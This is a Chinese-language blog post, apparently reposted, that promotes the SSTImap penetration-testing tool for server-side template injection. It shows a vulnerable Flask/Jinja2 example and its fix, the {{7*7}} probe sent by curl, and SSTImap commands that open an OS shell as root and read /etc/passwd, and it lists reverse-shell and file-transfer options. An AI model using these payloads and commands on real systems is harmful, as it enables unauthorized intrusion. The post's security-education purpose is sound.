文章总结: SSTImap是一款基于Tplmap改进的渗透测试工具,专门用于检测和利用服务端模板注入SSTI漏洞。它支持交互模式、多种模板引擎如Jinja2和Freemarker,并能实现远程代码执行、文件操作及获取操作系统shell。文档通过Flask示例展示了SSTI漏洞原理,并强调开发者应避免将用户输入直接拼入模板字符串。该工具可导致服务器被完全控制,建议安全人员用于授权测试。 综合评分: 84 文章分类: 渗透测试,漏洞分析,实战经验
一行 {{7*7}} 直接拿下服务器 root:SSTImap,这个 GitHub 1.6k 星的注入神器,正在重新定义”模板注入”
网安之家-CyberHomestead
2026年7月10日 13:22 湖北
在小说阅读器读本章
去阅读
🔥 一行 {{7*7}} 直接拿下服务器 root:SSTImap,这个 GitHub 1.6k 星的注入神器,正在重新定义”模板注入”
攻击者只要在输入框里敲六个字符,服务器就把根权限拱手送上——这就是 SSTI。
这玩意儿是啥?一句话:它专门干模板注入
SSTImap,一款渗透测试软件,专门检测网站是否存在**代码注入(Code Injection)和服务端模板注入(Server-Side Template Injection,SSTI)**漏洞,并直接利用这些漏洞,让你拿到操作系统本身的权限。
项目地址 👉 https://github.com/vladko312/SSTImap
它是在 Tplmap 的基础上发展起来的。
设计初衷:做一个交互式的渗透测试工具,用于 SSTI 的检测和利用,支持更进阶的利用手法。更多 payload 可以在这里找到。
它的 payload 和技术来自:
- • James Kettle 的研究《Server-Side Template Injection: RCE For The Modern Web App》
- • 其他公开研究 [1] [2] [8]
- • 对 Tplmap 的贡献 [3] [4]
- • 作者本人的研究 [9]
这工具还能搞定**部分代码上下文逃逸(code context escapes)和盲注入(blind injection)**场景,同时支持 Java、JavaScript、PHP、Python、Ruby 的 eval() 式代码注入,以及通用的非沙箱模板引擎。
说人话:只要网站敢把用户输入拼进模板渲染,它就能给你打出一条通往 root 的路。
跟 Tplmap 比到底强在哪?
虽然是基于 Tplmap 的代码,但不提供向后兼容。
主要差异:
- • 新增两种 SSTI 检测和利用技术
- • 交互模式(
-i),让检测和利用更顺手 - • 加入简单求值 payload 作为响应标记,在 payload 回显时用
- • 新增通用模板 payload,测试所有上下文用
--generic - • 用
Eval_generic模块做通用求值模板注入检测 - • 支持基于底层语言的
eval()式 shell(-x)或单条命令(-X)执行 - • 盲文件上传现在支持 MD5 确认和文件存在性检查
- • 为更多模板新增 payload,并更新了大量现有 payload
- • 模块化插件结构,允许安装额外插件
- • 支持不同的 POST 数据类型
- • 新增爬虫和表单检测
- • 给很多参数加了短选项
- • 部分旧命令行参数有改动,看
-h求助 - • 代码改用了更新的 Python 特性
- • Burp Suite 扩展暂时移除,因为 Jython 不支持 Python3
漏洞长啥样?先看一个”教科书级”的反面教材
下面是用 Python + Flask + Jinja2 写的一个网页。它把用户传入的 name 变量,用不安全的方式拼进了模板字符串,然后再渲染——这就埋了雷。
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI 漏洞就在这:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
这种用模板的方式,不仅会留下 XSS 漏洞,还会让攻击者注入模板代码——这些代码会在服务器上执行,直接导致 SSTI。
实测一把:
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
正常。现在把 John 换成 {{7*7}}:
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
7*7 被算成了 49。服务器把你输入的内容当代码执行了。这就是 SSTI 的命门。
正确的安全写法应该是:用户输入通过渲染上下文安全地引入。
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
一前一后,一个是
name直接拼进字符串,一个是{{name}}走占位符。前者送 root,后者保平安。
实战:一条命令,直接打穿
预定模式(Predetermined Mode)
SSTImap 在预定模式下,跟 Tplmap 很像,能检测和利用多种模板里的 SSTI 漏洞。利用成功后,它可以提供代码求值、操作系统命令执行和文件系统操作权限。
检查 URL,用 -u 参数:
$ ./sstimap.py -u https://example.com/page?name=John
跑完你会看到这坨帅气的 ASCII art 和扫描结果:
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
用 --os-shell 开一个伪终端:
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
然后……
[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
没错,
whoami直接回root。一个 GET 参数,换来了整台机器。
完整参数列表,用 --help。
交互模式(Interactive Mode)
交互模式下,你用命令跟 SSTImap 互动。进入交互模式用 -i 参数。除与利用 payload 相关的参数外,所有其他参数都会作为设置的初始值。
部分命令用于在测试轮次之间改设置。要跑测试,目标 URL 必须通过初始 -u 参数或 url 命令提供,然后用 run 命令检查 URL 是否有 SSTI。
找到 SSTI 后,就能用命令启动利用。你能获得和预定模式一样的利用能力,但可以用 Ctrl+C 中止,而不会退出整个程序。
顺带一提,测试结果在目标 URL 改变之前一直有效,所以你可以轻松切换利用方式,不用每次重跑检测。
交互命令的完整列表,在交互模式下输入 help。
支持的模板引擎(覆盖面相当猛)
SSTImap 支持多种模板引擎和 eval() 式注入。欢迎通过 PR 提交新 payload。
| 引擎 | RCE | 技术 | 语言 | 类型 | | — | — | — | — | — | | Freemarker | ✓ | REBT | Java | 默认 | | Java 通用 EL 注入 | ✓ | REBT | Java | 默认 | | OGNL(对象图导航语言代码求值) | ✓ | REBT | Java | 默认 | | Velocity | ✓ | REBT | Java | 默认 | | Nunjucks | ✓ | REBT | JavaScript | 默认 | | Velocity.js | ✓ | REBT | JavaScript | 默认 | | JavaScript(代码求值) | ✓ | REBT | JavaScript | 默认 | | 基于 JavaScript 的通用模板 | ✓ | REBT | JavaScript | 默认 | | Twig(≥1.41; ≥2.10; ≥3.0) | ✓ | REBT | PHP | 默认 | | PHP(代码求值) | ✓ | REBT | PHP | 默认 | | 基于 PHP 的通用模板 | ✓ | REBT | PHP | 默认 | | Jinja2 | ✓ | REBT | Python | 默认 | | Python(代码求值) | ✓ | REBT | Python | 默认 | | 基于 Python 的通用模板 | ✓ | REBT | Python | 默认 | | ERB | ✓ | REBT | Ruby | 默认 | | Slim | ✓ | REBT | Ruby | 默认 | | Ruby(代码求值) | ✓ | REBT | Ruby | 默认 | | 通用求值模板 | × | Reb_ | * | 默认 | | SpEL(Spring EL 代码求值) | ✓ | REBT | Java | 通用 | | doT | ✓ | REBT | JavaScript | 通用 | | EJS | ✓ | REBT | JavaScript | 通用 | | Marko | ✓ | REBT | JavaScript | 通用 | | Pug | ✓ | REBT | JavaScript | 通用 | | Smarty | ✓ | REBT | PHP | 通用 | | Cheetah | ✓ | REBT | Python | 通用 | | Mako | ✓ | REBT | Python | 通用 | | Tornado | ✓ | REBT | Python | 通用 | | Dust(≤ [email protected]) | ✓ | REBT | JavaScript | 旧版 | | Twig(≤1.19) | ✓ | REBT | PHP | 旧版 | | Templite | ✓ | REBT | Python | 旧版 | | SSI(服务端包含注入) | ✓ | R__T | SSI | 旧版 | | CVE-2025-1302 | ✓ | REBT | JavaScript | 扩展 | | CVE-2025-13204 | ✓ | REBT | JavaScript | 扩展 | | CVE-2022-23614 | ✓ | REBT | PHP | 扩展 | | CVE-2024-6386 | ✓ | REBT | PHP | 扩展 |
技术说明:(R)渲染型、(E)报错型、(B)布尔报错型盲注、(T)时间型盲注;小写字母表示该技术部分支持。
更多插件和 payload 在 SSTImap Extra Plugins 仓库里。
Burp Suite 插件说明
目前,Burp Suite 只能通过 Jython 来执行 Python2,没有提供 Python3 功能。
未来的开发计划
如果你打算从下面这个列表里贡献大件,先告知一声,避免和我或其他贡献者撞车。
- • 为不同引擎添加更多 payload
- • 让插件减少对基础插件的依赖
- • 从文件解析原始 HTTP 请求
- • 变量转储功能
- • 盲/侧信道取值
- • 更好的文档(或至少有点文档)
- • 把短参数做成交互命令?
- • 用于脚本集成的 JSONL/纯文本 API 模式?
- • 为 Python 脚本提供更好的集成
- • 支持 Multipart POST 数据类型
- • 用于更可定制请求的模块(二阶、重置、非 HTTP)
- • payload 处理脚本
- • 更好的配置功能
- • 保存发现的漏洞
- • HTML 或其他格式的报告
- • 多行语言求值?
- • 避免 payload 中的平台依赖
- • 在基于 exec 的 RCE 场景中测试多种 shell
- • 更新 NodeJS payload,因为
process.mainModule可能未定义 - • 爬虫/蜘蛛自动化(由 fantesykikachu 负责)
- • 自动导入语言和引擎
- • 支持更多 POST 数据类型
- • 让模板和底层语言的求值功能更统一
- • 加一个移除转义码的参数?
**GitHub 数据:**1.6k Stars · 14 Watching · 176 Forks · Python 100% · GPL-3.0 协议
作者 @vladko312,最新版本 v1.3,最近一次发布 2025 年 8 月 20 日。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网安之家-CyberHomestead 《一行 {{7*7}} 直接拿下服务器 root:SSTImap,这个 GitHub 1.6k 星的注入神器,正在重新定义”模板注入”》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论